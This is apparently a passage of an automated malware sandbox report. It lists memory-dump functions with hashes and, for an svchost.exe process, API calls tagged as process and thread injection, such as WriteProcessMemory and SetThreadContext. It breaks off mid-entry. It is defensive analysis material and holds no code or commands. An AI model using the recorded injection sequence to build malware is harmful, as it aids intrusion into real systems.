Function 02B90508, Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6417d4959d7687fc92e802ffc2da59e8b846cb525f49820f18972b9271b27034
Instruction ID: ed1bbfa859aee67565625bd4ce18d81aa43053879359140ac5ed953c69cce709
Opcode Fuzzy Hash: 6417d4959d7687fc92e802ffc2da59e8b846cb525f49820f18972b9271b27034
Instruction Fuzzy Hash: 90F0A935A002098BDF25AE64C8583EF7BA2AF88705F1408AED442AB341CB794804CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 02B90820, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b74a90018f91bd2566415607d55627ec0be14c87a2f497d97153cc87c0086da
Instruction ID: 4a9d2b3f14826020e90ab8583c48ba3783940743dcb399ab586bc416659810bd
Opcode Fuzzy Hash: 4b74a90018f91bd2566415607d55627ec0be14c87a2f497d97153cc87c0086da
Instruction Fuzzy Hash: FFF0E235259250DFC7119F29C8C6EA27FA5FF16615B5A40DAE0898F673C323EC02CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02B90840, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 029ca4b55f99d8df88c9c5a3449effc164cac44cef19de3d45d6a03a83407221
Instruction ID: 7a94ad25a00d5de878aecbd3cddea335c0732372b403cfaf85154b62d072cf57
Opcode Fuzzy Hash: 029ca4b55f99d8df88c9c5a3449effc164cac44cef19de3d45d6a03a83407221
Instruction Fuzzy Hash: A7F027762092C08FC7025B2898614917FA4EB1751535940E7D188CF673C207E807CB21

Uniqueness

Uniqueness Score: -1.00%

Function 02B90802, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bc4b0945f2d83b9bf76d6e8af02e72783f7fedcaaa0746febf3b32e21b13ebb
Instruction ID: a7bf42085337c0dc230511ba72e6845ad4d12c02e1f0258f4a906bb821b91695
Opcode Fuzzy Hash: 4bc4b0945f2d83b9bf76d6e8af02e72783f7fedcaaa0746febf3b32e21b13ebb
Instruction Fuzzy Hash: 0DF05E6591D3C48FC3139B3898694AC7FB0AE5751435A04CFC4C5CF2B3CA1A5C1ACB56

Uniqueness

Uniqueness Score: -1.00%

Function 078B30B8, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.560694608.00000000078B0000.00000040.00000001.sdmp, Offset: 078B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58374fbc3fd9b505fec874ed578594a227e164902c959c67d3c274afed6d996e
Instruction ID: 0d898a2016a7377fc18b40b45b0a68f64850ed8f366c9791f69ef009b7ccef82
Opcode Fuzzy Hash: 58374fbc3fd9b505fec874ed578594a227e164902c959c67d3c274afed6d996e
Instruction Fuzzy Hash: 8501E430109B65DFC334DB25D046992B7F2FF45209B1488AEE6868BB65CB76F986CB40

Uniqueness

Uniqueness Score: -1.00%

Function 078C4778, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.561504770.00000000078C0000.00000040.00000001.sdmp, Offset: 078C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 596bde28748cabb248e54ae8670a59937ab075af4e8f0ae5c6d2a30e8f7a6865
Instruction ID: 5acf38bab09389ab24005084499697aca06d5588e1fb59977a7d3d0b113fc6bd
Opcode Fuzzy Hash: 596bde28748cabb248e54ae8670a59937ab075af4e8f0ae5c6d2a30e8f7a6865
Instruction Fuzzy Hash: D4F05C723193802FCB225B59F4858167FFADFC603030941DAD048C7B62CB608C06C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 02B90518, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03d6255d93d7e7c96a414b32f7f358e5112c4977326d7d229e3464f09c5ca855
Instruction ID: 80073b026d08320bf050dfa509df42705b44d782ea9da9c4ffe999bfffb46b2b
Opcode Fuzzy Hash: 03d6255d93d7e7c96a414b32f7f358e5112c4977326d7d229e3464f09c5ca855
Instruction Fuzzy Hash: 13F05E35A042189BDF14AB54C8587EF7BB6EF88705F050879D402BB341CF785844DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 02B9AD91, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d22630de6cbf1be4527358eef4d6990c18032ee14a5976ca6c1f34088a52a02
Instruction ID: 3fb2961564ed69380123a177b3c1cfa9ded3489430d2688e9f5ef41869e5d2b4
Opcode Fuzzy Hash: 7d22630de6cbf1be4527358eef4d6990c18032ee14a5976ca6c1f34088a52a02
Instruction Fuzzy Hash: 2BF0F87200014DBFDF128E95DC05FEA3FAAFB8C311F448111FA54554A0D63AD971AB60

Uniqueness

Uniqueness Score: -1.00%

Function 02B906D8, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f899b37be92f9416518347633ca41c7f8ee1c5b39e2faad0b6850191726650f
Instruction ID: daed863f2e098786785b52ebb398919a2dbaa0dfec5bb0a6ccc0a45ecc6fad59
Opcode Fuzzy Hash: 8f899b37be92f9416518347633ca41c7f8ee1c5b39e2faad0b6850191726650f
Instruction Fuzzy Hash: 32D02B3BB292500BC715155EA8115DB7BEFABCF9A275900A7E00CC3742DC558C0643F2

Uniqueness

Uniqueness Score: -1.00%

Function 078C4788, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.561504770.00000000078C0000.00000040.00000001.sdmp, Offset: 078C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 876c8a7947fc1e7118cefd8b17596650cf6bad3aeb5c0e1594054800bd3f5901
Instruction ID: b3065cc1dbade03c9a46e17e9174379df1f313aea0c0360b26815822a1b43bf9
Opcode Fuzzy Hash: 876c8a7947fc1e7118cefd8b17596650cf6bad3aeb5c0e1594054800bd3f5901
Instruction Fuzzy Hash: D6E0DF323042405F87209E4EE58A82BBBEE9BC8925308806AE10DC3711CFA0EC098BA1

Uniqueness

Uniqueness Score: -1.00%

Function 078C7D68, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.561504770.00000000078C0000.00000040.00000001.sdmp, Offset: 078C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 965bc18f5175cc03844412fb05d92ad839c4b28cd6e86ef1b08274fdbe480a26
Instruction ID: 7684204008f8d37f8f8cedf6b6328573c86c7b0e9533ba808748bd6063e3d2ba
Opcode Fuzzy Hash: 965bc18f5175cc03844412fb05d92ad839c4b28cd6e86ef1b08274fdbe480a26
Instruction Fuzzy Hash: EFE0D87630051AB74B14DA0EE41547EBB9E9FDA561710812EE60DC760CCF38D9918BD2

Uniqueness

Uniqueness Score: -1.00%

Function 078B2420, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.560694608.00000000078B0000.00000040.00000001.sdmp, Offset: 078B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a9398350722390d077d075e12f594d58bec69ed529a261fa39d5090c5cdffde
Instruction ID: 1f3fdb107e0270c838d32f43c9fb0efeda49da84653c02b773b5f79eeaa63c03
Opcode Fuzzy Hash: 7a9398350722390d077d075e12f594d58bec69ed529a261fa39d5090c5cdffde
Instruction Fuzzy Hash: B6E0C27214E3C24FC7132B341818485BFB0AE9721131E40EBD188CF1A3DA6C8868C366

Uniqueness

Uniqueness Score: -1.00%

Function 078CC151, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.561504770.00000000078C0000.00000040.00000001.sdmp, Offset: 078C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d387b665202cfa122a0fe7fcea6a8d4ffe5f0744a2ebc0c9a350f668d2254643
Instruction ID: 50eef0a5c5f488039f5023e7265615eb7dcfb17a0410f18cb2db596e59b152df
Opcode Fuzzy Hash: d387b665202cfa122a0fe7fcea6a8d4ffe5f0744a2ebc0c9a350f668d2254643
Instruction Fuzzy Hash: F5E0E5742197864FC3119B79D8949587FA8AF0A21472500EAE15ACB3B2EA16EC408B22

Uniqueness

Uniqueness Score: -1.00%

Function 02B9ADA0, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23202e5743224ab3267a8016c983f90473117b33eef30eb66a13fdb8c71ed1d6
Instruction ID: 51a90228daacde18a57c54a28404bfdbd41f460ed6a9ebf4c2a972a0ef0d0c78
Opcode Fuzzy Hash: 23202e5743224ab3267a8016c983f90473117b33eef30eb66a13fdb8c71ed1d6
Instruction Fuzzy Hash: 7BF0AE7200014EBFDF528E90DC05FEA3F6AEB8C315F048151FA5454060C63AD571ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 02B90EB4, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc8884943ed1ce388aed99726520403f9d505f3b04d8b9be48597563f1897fde
Instruction ID: a742f38cbc73f0df43e37700532829e732ca28801db30f634955db22d5e20a8e
Opcode Fuzzy Hash: bc8884943ed1ce388aed99726520403f9d505f3b04d8b9be48597563f1897fde
Instruction Fuzzy Hash: 4BF03932D00608CFCB00EFA8D4849ECF7B0FF88314F2086AAD54467222D732E994CB50

Uniqueness

Uniqueness Score: -1.00%

Function 078C9720, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.561504770.00000000078C0000.00000040.00000001.sdmp, Offset: 078C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81d3562639f382bea453273d6f502d8f9ec684a651ea4edbefe4a17ed54bcfd3
Instruction ID: 5f4c8853c19d59bcbaf44bd350f7ff080246f9f891bd28eaf956ebb068565102
Opcode Fuzzy Hash: 81d3562639f382bea453273d6f502d8f9ec684a651ea4edbefe4a17ed54bcfd3
Instruction Fuzzy Hash: 1DD02EB22092808ECF02523074109E9BB38CFE322830208DBC094CAA63C632864A87A6

Uniqueness

Uniqueness Score: -1.00%

Function 078CC160, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.561504770.00000000078C0000.00000040.00000001.sdmp, Offset: 078C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57f58ec4ba79f1dc16c02db0b3e488effb0cacee50494d8da11c28ea611e7bd1
Instruction ID: 487cab81cc3307c0d0c7447e1b0c48367d485139d0a27590b7b96d4da82f6908
Opcode Fuzzy Hash: 57f58ec4ba79f1dc16c02db0b3e488effb0cacee50494d8da11c28ea611e7bd1
Instruction Fuzzy Hash: 0CE012B53596054FD750DFBAE8C495573E8FB4D22872100E6F21ECB771DA67EC408611

Uniqueness

Uniqueness Score: -1.00%

Function 02B956BF, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 937bde3ed917bddcc04d9f1474f4ef466bce9fc39e8a58c13564226fb6abaeb4
Instruction ID: 496e186ca534b19782c68dab966956bd68039e5d27c4ed00239a51b25885ec45
Opcode Fuzzy Hash: 937bde3ed917bddcc04d9f1474f4ef466bce9fc39e8a58c13564226fb6abaeb4
Instruction Fuzzy Hash: F4D0A76574824723CE32899534562A17F19DB56116B8440E4D84841046F60AD0628691

Uniqueness

Uniqueness Score: -1.00%

Function 02B906E8, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c8681d64e5b3609ba5e276ad05dda24bd221f458b26d6d642756f1fe2813637
Instruction ID: 03f35fd6b443bc40d181658b46ed8672a2582215479072b4798a7ba55d01a97f
Opcode Fuzzy Hash: 2c8681d64e5b3609ba5e276ad05dda24bd221f458b26d6d642756f1fe2813637
Instruction Fuzzy Hash: 2BC0123232002457C708214E64045AF76CEDBCD662B184037E10DC33419DA58C0242E1

Uniqueness

Uniqueness Score: -1.00%

Function 078B2481, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.560694608.00000000078B0000.00000040.00000001.sdmp, Offset: 078B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7252e9c4bfb47370a5623c3a073810977623f3f12d22c720d3f0cd1e81efcea
Instruction ID: fce3d30461bd67f853f6ebb92ddc163c05aa1834324455d5d805c25180ed35d9
Opcode Fuzzy Hash: f7252e9c4bfb47370a5623c3a073810977623f3f12d22c720d3f0cd1e81efcea
Instruction Fuzzy Hash: 54D0127904DB97CFC3021BB56401094BFB4AD4691032440D7E088CB593EB3958588752

Uniqueness

Uniqueness Score: -1.00%

Function 078B2380, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.560694608.00000000078B0000.00000040.00000001.sdmp, Offset: 078B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247488af2c7b4785f1bef308466ecdc0bab0c04d5991f999562607bde6308880
Instruction ID: e18d41b458cc885afb214f9d0bbdc79780057d56852745afb965cd458eed0c30
Opcode Fuzzy Hash: 247488af2c7b4785f1bef308466ecdc0bab0c04d5991f999562607bde6308880
Instruction Fuzzy Hash: 55D0A97040D3828ECB031B70A0044C57FB0AA2225232608ABC088DB262DA7908098B01

Uniqueness

Uniqueness Score: -1.00%

Function 078B23C1, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.560694608.00000000078B0000.00000040.00000001.sdmp, Offset: 078B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93ceed49a1302f411f43c40637a002594f2602d3cd4d721b10aca7bb922180ff
Instruction ID: 5d8a07e2716dc643b360548bd32d399d0be92ecee9a034872ff1439e24f8b332
Opcode Fuzzy Hash: 93ceed49a1302f411f43c40637a002594f2602d3cd4d721b10aca7bb922180ff
Instruction Fuzzy Hash: ACD0123104D3878FC3071B786405444BFF4DA866043554497E488CB183DB3C4464C755

Uniqueness

Uniqueness Score: -1.00%

Function 078B2400, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.560694608.00000000078B0000.00000040.00000001.sdmp, Offset: 078B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e610fdbd512e84c0c64991b068c0f4bde81ef3b7d43f0917154b28f2b4b2b2a5
Instruction ID: 8283f4aa943a31dc21599f67e42e6f1e86a8a4670ea583c10bb56140bd3de716
Opcode Fuzzy Hash: e610fdbd512e84c0c64991b068c0f4bde81ef3b7d43f0917154b28f2b4b2b2a5
Instruction Fuzzy Hash: 18C0803854E3C04EC713037428544D83F20594203C31801EDC08D8A463CA99405ECB12

Uniqueness

Uniqueness Score: -1.00%

Function 078C5003, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.561504770.00000000078C0000.00000040.00000001.sdmp, Offset: 078C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4e157d1dcad8382b3d40064714420f84f5e1d7499d1b74ec86bd801a5efb2e8
Instruction ID: e1622b44516f7d70fad425148acfe7dc960c77ecc36f64d7cd037abae7d470eb
Opcode Fuzzy Hash: d4e157d1dcad8382b3d40064714420f84f5e1d7499d1b74ec86bd801a5efb2e8
Instruction Fuzzy Hash: BCB012733050144768045149B01C06CE726D6E093B2244027D10AC08008E65C8230280

Uniqueness

Uniqueness Score: -1.00%

Function 02B90830, Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.507805518.0000000002B90000.00000040.00000001.sdmp, Offset: 02B90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79a93df405bc429466bd65229d29705813b12b6460fd06a522898cc08a59ba6a
Instruction ID: c16569c77793bc0f09bc920b9b274da3ad68a6c1fb003328aecad9df46874185
Opcode Fuzzy Hash: 79a93df405bc429466bd65229d29705813b12b6460fd06a522898cc08a59ba6a
Instruction Fuzzy Hash: E9B092342A02089FC2409B5AD849F01B7ACEF05A24F4140D0F2088F672C662E8008A80

Uniqueness

Uniqueness Score: -1.00%

Function 078B2490, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.560694608.00000000078B0000.00000040.00000001.sdmp, Offset: 078B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4576ac1d56570f9cc830d5808d8bf7fc603c1ec051c42709a6efcdaaed09931
Instruction ID: e90dc3bc17dd6973ba27024ab447537b716717516885ff2be8dd494f8d13d63c
Opcode Fuzzy Hash: d4576ac1d56570f9cc830d5808d8bf7fc603c1ec051c42709a6efcdaaed09931
Instruction Fuzzy Hash: 85A0223000030CCB830022F03008828B30CF0C0C08BA08028E20C8B0008F3BE80002C0

Uniqueness

Uniqueness Score: -1.00%

Function 078B2410, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.560694608.00000000078B0000.00000040.00000001.sdmp, Offset: 078B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82064a18bbc2a2f942ed7f57f491e0ba7d49958720bec0c343e0179202fac996
Instruction ID: c88d55964ded88dd2e1e8b5502aa823af965dd05cb7c1e7a37cd0543e03bdbc0
Opcode Fuzzy Hash: 82064a18bbc2a2f942ed7f57f491e0ba7d49958720bec0c343e0179202fac996
Instruction Fuzzy Hash: C1A0223000030CCB82A022B83808888B30CE0C0C2A3808828EA0C8B0008F3AE808C0C0

Uniqueness

Uniqueness Score: -1.00%

Function 078B2390, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.560694608.00000000078B0000.00000040.00000001.sdmp, Offset: 078B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75dac65058b4df684aeb7c0b5850cd3bc6b94d74b54ca38e0ee94077d4745ffe
Instruction ID: e4dc80a94b92dff937d12fa4bccb9b229b5443dd5d0345ce8a81daecf3bbcf84
Opcode Fuzzy Hash: 75dac65058b4df684aeb7c0b5850cd3bc6b94d74b54ca38e0ee94077d4745ffe
Instruction Fuzzy Hash: 6FA0223000830CCB832022B0380880AB30CF0C0C08BA08828E20C8B0008F3AE80080C0

Uniqueness

Uniqueness Score: -1.00%

Function 078B23D0, Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.560694608.00000000078B0000.00000040.00000001.sdmp, Offset: 078B0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d44705aff3f9f7c0189f96f03908cc49a56951c4f988beb9dcf31e68d3790ac5
Instruction ID: 4f024c02575cb8528f71f4423c700d4900b60749feced7c3070d9e1b91ed17e6
Opcode Fuzzy Hash: d44705aff3f9f7c0189f96f03908cc49a56951c4f988beb9dcf31e68d3790ac5
Instruction Fuzzy Hash: D3A0223000030CCB822023B03808808B30CE0C0C083808828E20C8B0008F3AE80080C0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: svchost.exe PID: 6528 Parent PID: 3388 svchost.exeCOMMON

Executed Functions

Function 01A02B34, Relevance: 1.7, APIs: 1, Instructions: 246processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 01A02D76

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: f21634bb24fee90fb2c46c32da58b0545a703e40eb5a93c1f0113b20ef7611dd
Instruction ID: 9f681496af5eafba7220704718a27645a0884024529be466ebbea058984a11c2
Opcode Fuzzy Hash: f21634bb24fee90fb2c46c32da58b0545a703e40eb5a93c1f0113b20ef7611dd
Instruction Fuzzy Hash: 6A916A71D00319CFEB25CFA8D9857EDBBB2BF48314F14856AE809A7280DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01A02B40, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 01A02D76

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a4291e022288af9c99e92a5c57b23ef4a359ca43288a82e0dd4d867e106191d4
Instruction ID: a25d68556c9644a9e42ec2c117781619a9cf9ca9c8930c977d63b0e6f6d44c71
Opcode Fuzzy Hash: a4291e022288af9c99e92a5c57b23ef4a359ca43288a82e0dd4d867e106191d4
Instruction Fuzzy Hash: 64915D71D00319CFDB25CFA9D8857EDBBB2BF48314F14856AE809A7280DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01A0401F, Relevance: 1.7, APIs: 1, Instructions: 234COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 01A04089

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: dfed01cb556b03742432a3b6ddaf5e16bc8e90eae2114e4c54f53bf5e8a666c0
Instruction ID: b10968e565ba90bf71c84a58d8b14ba051d37c8c569f65107bda7f0e22ca61b1
Opcode Fuzzy Hash: dfed01cb556b03742432a3b6ddaf5e16bc8e90eae2114e4c54f53bf5e8a666c0
Instruction Fuzzy Hash: 1FA14970E002098BDB19DFA9E9947DDBBF6FF88314F19A419D211AB3C0D7359884CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 01A03D50, Relevance: 1.7, APIs: 1, Instructions: 181COMMON

Download Yara Rule

APIs

SetKernelObjectSecurity.KERNELBASE(?,?,00000000), ref: 01A03FDE

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: KernelObjectSecurity
String ID:
API String ID: 3015937269-0
Opcode ID: 438e5600b1ddbfb9e96502532dbdcfdc4bf35b7507cc378ba390bbb960894520
Instruction ID: fb457346d71b35e208168bbcf10862df4432e9eaf6dd37861161102f916b8080
Opcode Fuzzy Hash: 438e5600b1ddbfb9e96502532dbdcfdc4bf35b7507cc378ba390bbb960894520
Instruction Fuzzy Hash: 7E619AB1D042098FDF15DFA8D8447DEBBB1FF89324F14866AE514AB390DB349845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01A03E7E, Relevance: 1.7, APIs: 1, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a05255fd358d626c7c55a7f55145eab98ddd4a9cd793f0fa5fb1918fcaa1fc
Instruction ID: 352c63c02d699c2ac7d37189aae3f7e8e52002db95a82c7a72f42d650d54763e
Opcode Fuzzy Hash: e8a05255fd358d626c7c55a7f55145eab98ddd4a9cd793f0fa5fb1918fcaa1fc
Instruction Fuzzy Hash: 376186B19042098FDF15CFA8D8447DEBBB1FF49324F14866AE525AB390DB349881CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05D1D5F0, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,05D1DC26,?,?,?,?,?), ref: 05D1DCE7

Memory Dump Source

Source File: 00000011.00000002.542319617.0000000005D10000.00000040.00000001.sdmp, Offset: 05D10000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 460366bdd76f0aa174a626bf145f4bb42f17d5c15667e9e242dc5bb75335bd80
Instruction ID: 413f1e8237224481a27ae5a3a9259c30394f2d8acc541a4ef18df6ff9600b3b5
Opcode Fuzzy Hash: 460366bdd76f0aa174a626bf145f4bb42f17d5c15667e9e242dc5bb75335bd80
Instruction Fuzzy Hash: A33137B5904208AFDB10CFA9D984ADEBBF5FF08324F14845AE955B7310D774A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 01A022B0, Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 01A02348

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 7676379ca521850faacdfd2601945a0cfa6f2d10c6417aaf9ac2882e074a8d14
Instruction ID: 6ab1318e136673d6d5fa28e2ae7159838ea85679f6a87b773be4e654d164d4eb
Opcode Fuzzy Hash: 7676379ca521850faacdfd2601945a0cfa6f2d10c6417aaf9ac2882e074a8d14
Instruction Fuzzy Hash: EF2137719003099FCB00CFA9D9857DEBBF5FB48314F10882AE919A7240DB78A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01A022B8, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 01A02348

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e77786a68c535cde01118f575084d88624bd8503da7a48a63dde8c6ffa01d5e1
Instruction ID: d6ac894081a9677cb2de0a97a810a3f2897119bce3442421861d464e4a73fdd3
Opcode Fuzzy Hash: e77786a68c535cde01118f575084d88624bd8503da7a48a63dde8c6ffa01d5e1
Instruction Fuzzy Hash: 3A2125719003099FDB10CFA9D984BDEBBF5FF48314F10882AE919A7240DB78A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01A025A0, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 01A02628

Memory Dump Source

Source File: 00000011.00000002.506762663.0000000001A00000.00000040.00000001.sdmp, Offset: 01A00000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 3c9063a9038f8c822c84919075993843742e02f7e24640ec3e822f949f52149b
Instruction ID: 933620dc404a422dc87e2b9cbf46bd11c4a06d04e8dc8d0ecc1403611041a19d
Opcode Fuzzy Hash: 3c9063a9038f8c822c84919075993843742e02f7e24640ec3e822f949f52149b
Instruction Fuzzy Hash: 80212771D003099FCB10CFA9D985BDEBBB5FF48314F50842AE519A7240DB38A9458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 05D1D604, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,05D1DC26,?,?,?,?,?), ref: 05D1DCE7

Memory Dump Source

Source File: 00000011.00000002.542319617.0000000005D10000.00000040.00000001.sdmp, Offset: 05D10000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 781cfef20c48b951bfe20ceb40981369409c864035479c0c0a29eb2372f30a0d
Instruction ID: 2fae40491fb4e2d86e1f595ef3d30cbf16873d571d7fa15d4dc47485069e9007
Opcode Fuzzy Hash: 781cfef20c48b951bfe20ceb40981369409c864035479c0c0a29eb2372f30a0d
Instruction Fuzzy Hash: D32105B5900209AFDB10CFA9E984ADEFBF5FB48310F14841AE914B3310D774A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01A01312, Relevance: 1.6, APIs: 1, Instructions: 65threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 01A01396

Memory Dump Source

